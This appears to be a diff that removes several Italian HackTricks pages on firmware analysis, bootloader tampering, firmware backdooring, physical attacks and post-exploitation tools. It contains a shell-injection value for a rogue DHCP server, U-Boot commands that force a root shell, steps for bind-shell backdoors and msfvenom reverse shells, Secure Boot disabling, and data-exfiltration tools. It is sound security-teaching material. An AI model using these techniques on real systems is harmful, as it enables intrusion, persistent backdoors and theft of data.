Il firmware è un software essenziale che consente ai dispositivi di funzionare correttamente gestendo e facilitando la comunicazione tra i componenti hardware e il software con cui gli utenti interagiscono. È memorizzato in memoria permanente, garantendo che il dispositivo possa accedere a istruzioni vitali dal momento in cui viene acceso, portando al lancio del sistema operativo. Esaminare e potenzialmente modificare il firmware è un passo critico per identificare vulnerabilità di sicurezza.
## **Raccolta di Informazioni**
**Raccogliere informazioni** è un passo iniziale critico per comprendere la composizione di un dispositivo e le tecnologie che utilizza. Questo processo implica la raccolta di dati su:
- L'architettura della CPU e il sistema operativo in esecuzione
- Specifiche del bootloader
- Layout hardware e schede tecniche
- Metriche del codice sorgente e posizioni
- Librerie esterne e tipi di licenza
- Storie degli aggiornamenti e certificazioni normative
- Diagrammi architettonici e di flusso
- Valutazioni di sicurezza e vulnerabilità identificate
A questo scopo, gli strumenti di **intelligence open-source (OSINT)** sono inestimabili, così come l'analisi di eventuali componenti software open-source disponibili attraverso processi di revisione manuale e automatizzata. Strumenti come [Coverity Scan](https://scan.coverity.com) e [Semmle’s LGTM](https://lgtm.com/#explore) offrono analisi statica gratuita che può essere sfruttata per trovare potenziali problemi.
## **Acquisire il Firmware**
Ottenere il firmware può essere affrontato attraverso vari mezzi, ognuno con il proprio livello di complessità:
- **Direttamente** dalla fonte (sviluppatori, produttori)
- **Costruendolo** dalle istruzioni fornite
- **Scaricandolo** dai siti di supporto ufficiali
- Utilizzando query di **Google dork** per trovare file firmware ospitati
- Accedendo direttamente allo **storage cloud**, con strumenti come [S3Scanner](https://github.com/sa7mon/S3Scanner)
- Intercettando **aggiornamenti** tramite tecniche man-in-the-middle
- **Estraendo** dal dispositivo attraverso connessioni come **UART**, **JTAG** o **PICit**
- **Sniffando** le richieste di aggiornamento all'interno della comunicazione del dispositivo
- Identificando e utilizzando **endpoint di aggiornamento hardcoded**
- **Dumping** dal bootloader o dalla rete
- **Rimuovendo e leggendo** il chip di memoria, quando tutto il resto fallisce, utilizzando strumenti hardware appropriati
## Analizzare il firmware
Ora che **hai il firmware**, devi estrarre informazioni su di esso per sapere come trattarlo. Diversi strumenti che puoi utilizzare per questo:
```bash
file <bin>
strings -n8 <bin>
strings -tx <bin> #print offsets in hex
hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head # might find signatures in header
fdisk -lu <bin> #lists a drives partition and filesystems if multiple
```
Se non trovi molto con quegli strumenti, controlla l'**entropia** dell'immagine con `binwalk -E <bin>`, se l'entropia è bassa, allora è improbabile che sia crittografata. Se l'entropia è alta, è probabile che sia crittografata (o compressa in qualche modo).
Inoltre, puoi utilizzare questi strumenti per estrarre **file incorporati nel firmware**:
{{#ref}}
../../forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
{{#endref}}
Oppure [**binvis.io**](https://binvis.io/#/) ([code](https://code.google.com/archive/p/binvis/)) per ispezionare il file.
### Ottenere il Filesystem
Con gli strumenti precedentemente commentati come `binwalk -ev <bin>` dovresti essere stato in grado di **estrarre il filesystem**.\
Binwalk di solito lo estrae all'interno di una **cartella chiamata come il tipo di filesystem**, che di solito è uno dei seguenti: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
#### Estrazione Manuale del Filesystem
A volte, binwalk **non avrà il byte magico del filesystem nelle sue firme**. In questi casi, usa binwalk per **trovare l'offset del filesystem e ricavare il filesystem compresso** dal binario e **estrarre manualmente** il filesystem secondo il suo tipo utilizzando i passaggi seguenti.
```
$ binwalk DIR850L_REVB.bin
DECIMAL HEXADECIMAL DESCRIPTION
----------------------------------------------------------------------------- ---
0 0x0 DLOB firmware header, boot partition: """"dev=/dev/mtdblock/1""""
10380 0x288C LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5213748 bytes
1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes
1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41
```
Esegui il seguente **dd command** per estrarre il filesystem Squashfs.
```
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
8257536+0 records in
8257536+0 records out
8257536 bytes (8.3 MB, 7.9 MiB) copied, 12.5777 s, 657 kB/s
```
In alternativa, il seguente comando potrebbe essere eseguito.
`$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs`
- Per squashfs (utilizzato nell'esempio sopra)
`$ unsquashfs dir.squashfs`
I file saranno nella directory "`squashfs-root`" successivamente.
- File di archivio CPIO
`$ cpio -ivd --no-absolute-filenames -F <bin>`
- Per filesystem jffs2
`$ jefferson rootfsfile.jffs2`
- Per filesystem ubifs con NAND flash
`$ ubireader_extract_images -u UBI -s <start_offset> <bin>`
`$ ubidump.py <bin>`
## Analisi del Firmware
Una volta ottenuto il firmware, è essenziale disegnarlo per comprendere la sua struttura e le potenziali vulnerabilità. Questo processo implica l'utilizzo di vari strumenti per analizzare ed estrarre dati preziosi dall'immagine del firmware.
### Strumenti di Analisi Iniziale
Un insieme di comandi è fornito per l'ispezione iniziale del file binario (denominato `<bin>`). Questi comandi aiutano a identificare i tipi di file, estrarre stringhe, analizzare dati binari e comprendere i dettagli delle partizioni e del filesystem:
```bash
file <bin>
strings -n8 <bin>
strings -tx <bin> #prints offsets in hexadecimal
hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head #useful for finding signatures in the header
fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
```
Per valutare lo stato della crittografia dell'immagine, si controlla l'**entropia** con `binwalk -E <bin>`. Un'entropia bassa suggerisce una mancanza di crittografia, mentre un'entropia alta indica una possibile crittografia o compressione.
Per estrarre i **file incorporati**, si raccomandano strumenti e risorse come la documentazione di **file-data-carving-recovery-tools** e **binvis.io** per l'ispezione dei file.
### Estrazione del Filesystem
Utilizzando `binwalk -ev <bin>`, è possibile solitamente estrarre il filesystem, spesso in una directory chiamata in base al tipo di filesystem (ad esempio, squashfs, ubifs). Tuttavia, quando **binwalk** non riesce a riconoscere il tipo di filesystem a causa di byte magici mancanti, è necessaria un'estrazione manuale. Questo comporta l'uso di `binwalk` per localizzare l'offset del filesystem, seguito dal comando `dd` per estrarre il filesystem:
```bash
$ binwalk DIR850L_REVB.bin
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
```
Dopo, a seconda del tipo di filesystem (ad es., squashfs, cpio, jffs2, ubifs), vengono utilizzati comandi diversi per estrarre manualmente i contenuti.
### Analisi del Filesystem
Con il filesystem estratto, inizia la ricerca di vulnerabilità di sicurezza. Si presta attenzione a demoni di rete insicuri, credenziali hardcoded, endpoint API, funzionalità del server di aggiornamento, codice non compilato, script di avvio e binari compilati per analisi offline.
**Posizioni chiave** e **elementi** da ispezionare includono:
- **etc/shadow** e **etc/passwd** per le credenziali degli utenti
- Certificati e chiavi SSL in **etc/ssl**
- File di configurazione e script per potenziali vulnerabilità
- Binari incorporati per ulteriori analisi
- Server web e binari comuni dei dispositivi IoT
Diverse strumenti aiutano a scoprire informazioni sensibili e vulnerabilità all'interno del filesystem:
- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) e [**Firmwalker**](https://github.com/craigz28/firmwalker) per la ricerca di informazioni sensibili
- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT_core) per un'analisi completa del firmware
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go) e [**EMBA**](https://github.com/e-m-b-a/emba) per analisi statiche e dinamiche
### Controlli di Sicurezza sui Binari Compilati
Sia il codice sorgente che i binari compilati trovati nel filesystem devono essere scrutinizzati per vulnerabilità. Strumenti come **checksec.sh** per binari Unix e **PESecurity** per binari Windows aiutano a identificare binari non protetti che potrebbero essere sfruttati.
## Emulazione del Firmware per Analisi Dinamica
Il processo di emulazione del firmware consente un'**analisi dinamica** sia del funzionamento di un dispositivo che di un singolo programma. Questo approccio può incontrare sfide con dipendenze hardware o architetturali, ma trasferire il filesystem root o binari specifici su un dispositivo con architettura e endianness corrispondenti, come un Raspberry Pi, o su una macchina virtuale pre-costruita, può facilitare ulteriori test.
### Emulazione di Singoli Binari
Per esaminare singoli programmi, è cruciale identificare l'endianness e l'architettura CPU del programma.
#### Esempio con Architettura MIPS
Per emulare un binario con architettura MIPS, si può utilizzare il comando:
```bash
file ./squashfs-root/bin/busybox
```
E per installare gli strumenti di emulazione necessari:
```bash
sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils
```
Per MIPS (big-endian), si utilizza `qemu-mips`, e per i binari little-endian, `qemu-mipsel` sarebbe la scelta.
#### Emulazione dell'Architettura ARM
Per i binari ARM, il processo è simile, con l'emulatore `qemu-arm` utilizzato per l'emulazione.
### Emulazione Completa del Sistema
Strumenti come [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit) e altri, facilitano l'emulazione completa del firmware, automatizzando il processo e aiutando nell'analisi dinamica.
## Analisi Dinamica in Pratica
In questa fase, viene utilizzato un ambiente di dispositivo reale o emulato per l'analisi. È essenziale mantenere l'accesso shell al sistema operativo e al filesystem. L'emulazione potrebbe non imitare perfettamente le interazioni hardware, rendendo necessari occasionali riavvii dell'emulazione. L'analisi dovrebbe riesaminare il filesystem, sfruttare le pagine web e i servizi di rete esposti, ed esplorare le vulnerabilità del bootloader. I test di integrità del firmware sono critici per identificare potenziali vulnerabilità backdoor.
## Tecniche di Analisi Runtime
L'analisi runtime comporta l'interazione con un processo o un binario nel suo ambiente operativo, utilizzando strumenti come gdb-multiarch, Frida e Ghidra per impostare breakpoint e identificare vulnerabilità attraverso fuzzing e altre tecniche.
## Sfruttamento Binario e Proof-of-Concept
Sviluppare un PoC per le vulnerabilità identificate richiede una profonda comprensione dell'architettura target e programmazione in linguaggi di basso livello. Le protezioni runtime binarie nei sistemi embedded sono rare, ma quando presenti, tecniche come il Return Oriented Programming (ROP) possono essere necessarie.
## Sistemi Operativi Preparati per l'Analisi del Firmware
Sistemi operativi come [AttifyOS](https://github.com/adi0x90/attifyos) e [EmbedOS](https://github.com/scriptingxss/EmbedOS) forniscono ambienti preconfigurati per il testing della sicurezza del firmware, dotati degli strumenti necessari.
## OS Preparati per Analizzare il Firmware
- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS è una distribuzione destinata ad aiutarti a eseguire valutazioni di sicurezza e penetration testing di dispositivi Internet of Things (IoT). Ti fa risparmiare molto tempo fornendo un ambiente preconfigurato con tutti gli strumenti necessari caricati.
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Sistema operativo per il testing della sicurezza embedded basato su Ubuntu 18.04 precaricato con strumenti per il testing della sicurezza del firmware.
## Firmware Vulnerabile per Praticare
Per praticare la scoperta di vulnerabilità nel firmware, utilizza i seguenti progetti di firmware vulnerabili come punto di partenza.
- OWASP IoTGoat
- [https://github.com/OWASP/IoTGoat](https://github.com/OWASP/IoTGoat)
- The Damn Vulnerable Router Firmware Project
- [https://github.com/praetorian-code/DVRF](https://github.com/praetorian-code/DVRF)
- Damn Vulnerable ARM Router (DVAR)
- [https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html](https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html)
- ARM-X
- [https://github.com/therealsaumil/armx#downloads](https://github.com/therealsaumil/armx#downloads)
- Azeria Labs VM 2.0
- [https://azeria-labs.com/lab-vm-2-0/](https://azeria-labs.com/lab-vm-2-0/)
- Damn Vulnerable IoT Device (DVID)
- [https://github.com/Vulcainreo/DVID](https://github.com/Vulcainreo/DVID)
## Riferimenti
- [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
- [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904)
## Formazione e Certificazione
- [https://www.attify-store.com/products/offensive-iot-exploitation](https://www.attify-store.com/products/offensive-iot-exploitation)
{{#include ../../banners/hacktricks-training.md}}

52
src/physical-attacks/firmware-analysis/bootloader-testing.md
View File

@ -1,52 +0,0 @@
{{#include ../../banners/hacktricks-training.md}}
I seguenti passaggi sono raccomandati per modificare le configurazioni di avvio dei dispositivi e i bootloader come U-boot:
1. **Accedi alla Shell dell'Interprete del Bootloader**:
- Durante l'avvio, premi "0", spazio, o altri "codici magici" identificati per accedere alla shell dell'interprete del bootloader.
2. **Modifica gli Argomenti di Avvio**:
- Esegui i seguenti comandi per aggiungere '`init=/bin/sh`' agli argomenti di avvio, consentendo l'esecuzione di un comando shell:
%%%
#printenv
#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3 mtdparts=sflash:<partitiionInfo> rootfstype=<fstype> hasEeprom=0 5srst=0 init=/bin/sh
#saveenv
#boot
%%%
3. **Configura il Server TFTP**:
- Configura un server TFTP per caricare immagini su una rete locale:
%%%
#setenv ipaddr 192.168.2.2 #IP locale del dispositivo
#setenv serverip 192.168.2.1 #IP del server TFTP
#saveenv
#reset
#ping 192.168.2.1 #controlla l'accesso alla rete
#tftp ${loadaddr} uImage-3.6.35 #loadaddr prende l'indirizzo in cui caricare il file e il nome del file dell'immagine sul server TFTP
%%%
4. **Utilizza `ubootwrite.py`**:
- Usa `ubootwrite.py` per scrivere l'immagine U-boot e inviare un firmware modificato per ottenere accesso root.
5. **Controlla le Funzionalità di Debug**:
- Verifica se le funzionalità di debug come il logging dettagliato, il caricamento di kernel arbitrari o l'avvio da fonti non affidabili sono abilitate.
6. **Interferenza Hardware Cautelativa**:
- Fai attenzione quando colleghi un pin a terra e interagisci con chip SPI o NAND flash durante la sequenza di avvio del dispositivo, in particolare prima che il kernel si decomprima. Consulta il datasheet del chip NAND flash prima di cortocircuitare i pin.
7. **Configura un Server DHCP Maligno**:
- Configura un server DHCP maligno con parametri dannosi per un dispositivo da acquisire durante un avvio PXE. Utilizza strumenti come il server ausiliario DHCP di Metasploit (MSF). Modifica il parametro 'FILENAME' con comandi di injection come `'a";/bin/sh;#'` per testare la validazione dell'input per le procedure di avvio del dispositivo.
**Nota**: I passaggi che coinvolgono l'interazione fisica con i pin del dispositivo (\*contrassegnati con asterischi) devono essere affrontati con estrema cautela per evitare di danneggiare il dispositivo.
## Riferimenti
- [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
{{#include ../../banners/hacktricks-training.md}}

35
src/physical-attacks/firmware-analysis/firmware-integrity.md
View File

@ -1,35 +0,0 @@
{{#include ../../banners/hacktricks-training.md}}
## Integrità del Firmware
Il **firmware personalizzato e/o i binari compilati possono essere caricati per sfruttare le vulnerabilità di integrità o verifica della firma**. I seguenti passaggi possono essere seguiti per la compilazione di un backdoor bind shell:
1. Il firmware può essere estratto utilizzando firmware-mod-kit (FMK).
2. L'architettura del firmware target e l'endianness devono essere identificati.
3. Un cross compiler può essere costruito utilizzando Buildroot o altri metodi adatti per l'ambiente.
4. Il backdoor può essere costruito utilizzando il cross compiler.
5. Il backdoor può essere copiato nella directory /usr/bin del firmware estratto.
6. Il binario QEMU appropriato può essere copiato nel rootfs del firmware estratto.
7. Il backdoor può essere emulato utilizzando chroot e QEMU.
8. Il backdoor può essere accessibile tramite netcat.
9. Il binario QEMU dovrebbe essere rimosso dal rootfs del firmware estratto.
10. Il firmware modificato può essere ripacchettato utilizzando FMK.
11. Il firmware con backdoor può essere testato emulandolo con il firmware analysis toolkit (FAT) e collegandosi all'IP e alla porta del backdoor target utilizzando netcat.
Se una shell root è già stata ottenuta tramite analisi dinamica, manipolazione del bootloader o test di sicurezza hardware, binari malevoli precompilati come impianti o reverse shell possono essere eseguiti. Strumenti automatizzati per payload/impianto come il framework Metasploit e 'msfvenom' possono essere utilizzati seguendo i seguenti passaggi:
1. L'architettura del firmware target e l'endianness devono essere identificati.
2. Msfvenom può essere utilizzato per specificare il payload target, l'IP dell'host attaccante, il numero di porta in ascolto, il tipo di file, l'architettura, la piattaforma e il file di output.
3. Il payload può essere trasferito al dispositivo compromesso e assicurarsi che abbia i permessi di esecuzione.
4. Metasploit può essere preparato per gestire le richieste in arrivo avviando msfconsole e configurando le impostazioni secondo il payload.
5. La reverse shell meterpreter può essere eseguita sul dispositivo compromesso.
6. Le sessioni meterpreter possono essere monitorate mentre si aprono.
7. Possono essere eseguite attività di post-exploitation.
Se possibile, le vulnerabilità all'interno degli script di avvio possono essere sfruttate per ottenere accesso persistente a un dispositivo attraverso i riavvii. Queste vulnerabilità sorgono quando gli script di avvio fanno riferimento, [collegano simbolicamente](https://www.chromium.org/chromium-os/chromiumos-design-docs/hardening-against-malicious-stateful-data) o dipendono da codice situato in posizioni montate non attendibili come schede SD e volumi flash utilizzati per memorizzare dati al di fuori dei filesystem root.
## Riferimenti
- Per ulteriori informazioni controlla [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
{{#include ../../banners/hacktricks-training.md}}

57
src/physical-attacks/physical-attacks.md
View File

@ -1,57 +0,0 @@
# Attacchi Fisici
{{#include ../banners/hacktricks-training.md}}
## Recupero della Password del BIOS e Sicurezza del Sistema
**Ripristinare il BIOS** può essere realizzato in diversi modi. La maggior parte delle schede madri include una **batteria** che, se rimossa per circa **30 minuti**, ripristinerà le impostazioni del BIOS, inclusa la password. In alternativa, un **jumper sulla scheda madre** può essere regolato per ripristinare queste impostazioni collegando pin specifici.
Per situazioni in cui le regolazioni hardware non sono possibili o pratiche, gli **strumenti software** offrono una soluzione. Eseguire un sistema da un **Live CD/USB** con distribuzioni come **Kali Linux** fornisce accesso a strumenti come **_killCmos_** e **_CmosPWD_**, che possono assistere nel recupero della password del BIOS.
Nei casi in cui la password del BIOS è sconosciuta, inserirla in modo errato **tre volte** di solito comporta un codice di errore. Questo codice può essere utilizzato su siti web come [https://bios-pw.org](https://bios-pw.org) per potenzialmente recuperare una password utilizzabile.
### Sicurezza UEFI
Per i sistemi moderni che utilizzano **UEFI** invece del tradizionale BIOS, lo strumento **chipsec** può essere utilizzato per analizzare e modificare le impostazioni UEFI, inclusa la disabilitazione del **Secure Boot**. Questo può essere realizzato con il seguente comando:
`python chipsec_main.py -module exploits.secure.boot.pk`
### Analisi della RAM e Attacchi Cold Boot
La RAM conserva i dati brevemente dopo che l'alimentazione è stata interrotta, di solito per **1-2 minuti**. Questa persistenza può essere estesa a **10 minuti** applicando sostanze fredde, come l'azoto liquido. Durante questo periodo prolungato, è possibile creare un **memory dump** utilizzando strumenti come **dd.exe** e **volatility** per l'analisi.
### Attacchi Direct Memory Access (DMA)
**INCEPTION** è uno strumento progettato per la **manipolazione della memoria fisica** tramite DMA, compatibile con interfacce come **FireWire** e **Thunderbolt**. Consente di bypassare le procedure di accesso patchando la memoria per accettare qualsiasi password. Tuttavia, è inefficace contro i sistemi **Windows 10**.
### Live CD/USB per Accesso al Sistema
Modificare i binari di sistema come **_sethc.exe_** o **_Utilman.exe_** con una copia di **_cmd.exe_** può fornire un prompt dei comandi con privilegi di sistema. Strumenti come **chntpw** possono essere utilizzati per modificare il file **SAM** di un'installazione di Windows, consentendo cambiamenti di password.
**Kon-Boot** è uno strumento che facilita l'accesso ai sistemi Windows senza conoscere la password, modificando temporaneamente il kernel di Windows o UEFI. Maggiori informazioni possono essere trovate su [https://www.raymond.cc](https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/).
### Gestione delle Funzionalità di Sicurezza di Windows
#### Scorciatoie per Avvio e Ripristino
- **Supr**: Accedi alle impostazioni del BIOS.
- **F8**: Entra in modalità di ripristino.
- Premere **Shift** dopo il banner di Windows può bypassare l'autologon.
#### Dispositivi BAD USB
Dispositivi come **Rubber Ducky** e **Teensyduino** fungono da piattaforme per creare dispositivi **bad USB**, capaci di eseguire payload predefiniti quando collegati a un computer target.
#### Volume Shadow Copy
I privilegi di amministratore consentono la creazione di copie di file sensibili, incluso il file **SAM**, tramite PowerShell.
### Bypassare la Crittografia BitLocker
La crittografia BitLocker può potenzialmente essere bypassata se la **password di recupero** viene trovata all'interno di un file di memory dump (**MEMORY.DMP**). Strumenti come **Elcomsoft Forensic Disk Decryptor** o **Passware Kit Forensic** possono essere utilizzati a questo scopo.
### Ingegneria Sociale per Aggiunta della Chiave di Recupero
Una nuova chiave di recupero BitLocker può essere aggiunta attraverso tattiche di ingegneria sociale, convincendo un utente a eseguire un comando che aggiunge una nuova chiave di recupero composta da zeri, semplificando così il processo di decrittazione.
{{#include ../banners/hacktricks-training.md}}

16
src/post-exploitation.md
View File

@ -1,16 +0,0 @@
{{#include ./banners/hacktricks-training.md}}
## **Local l00t**
- [**PEASS-ng**](https://github.com/carlospolop/PEASS-ng): Questi script, oltre a cercare vettori PE, cercheranno informazioni sensibili all'interno del filesystem.
- [**LaZagne**](https://github.com/AlessandroZ/LaZagne): Il **progetto LaZagne** è un'applicazione open source utilizzata per **recuperare molte password** memorizzate su un computer locale. Ogni software memorizza le proprie password utilizzando tecniche diverse (testo normale, API, algoritmi personalizzati, database, ecc.). Questo strumento è stato sviluppato con l'obiettivo di trovare queste password per il software più comunemente utilizzato.
## **Servizi Esterni**
- [**Conf-Thief**](https://github.com/antman1p/Conf-Thief): Questo modulo si connetterà all'API di Confluence utilizzando un token di accesso, esporterà in PDF e scaricherà i documenti di Confluence a cui il target ha accesso.
- [**GD-Thief**](https://github.com/antman1p/GD-Thief): Strumento Red Team per esfiltrare file dal Google Drive di un target a cui hai (l'attaccante) accesso, tramite l'API di Google Drive. Questo include tutti i file condivisi, tutti i file da unità condivise e tutti i file da unità di dominio a cui il target ha accesso.
- [**GDir-Thief**](https://github.com/antman1p/GDir-Thief): Strumento Red Team per esfiltrare il Google People Directory dell'organizzazione target a cui hai accesso, tramite l'API delle Persone di Google.
- [**SlackPirate**](https://github.com/emtunc/SlackPirate)**:** Questo è uno strumento sviluppato in Python che utilizza le API native di Slack per estrarre informazioni 'interessanti' da uno spazio di lavoro Slack dato un token di accesso.
- [**Slackhound**](https://github.com/BojackThePillager/Slackhound): Slackhound è uno strumento da riga di comando per team rossi e blu per eseguire rapidamente ricognizioni su uno spazio di lavoro/organizzazione Slack. Slackhound rende la raccolta di utenti, file, messaggi, ecc. di un'organizzazione rapidamente ricercabile e grandi oggetti vengono scritti in CSV per una revisione offline.
{{#include ./banners/hacktricks-training.md}}

Some files were not shown because too many files have changed in this diff Show More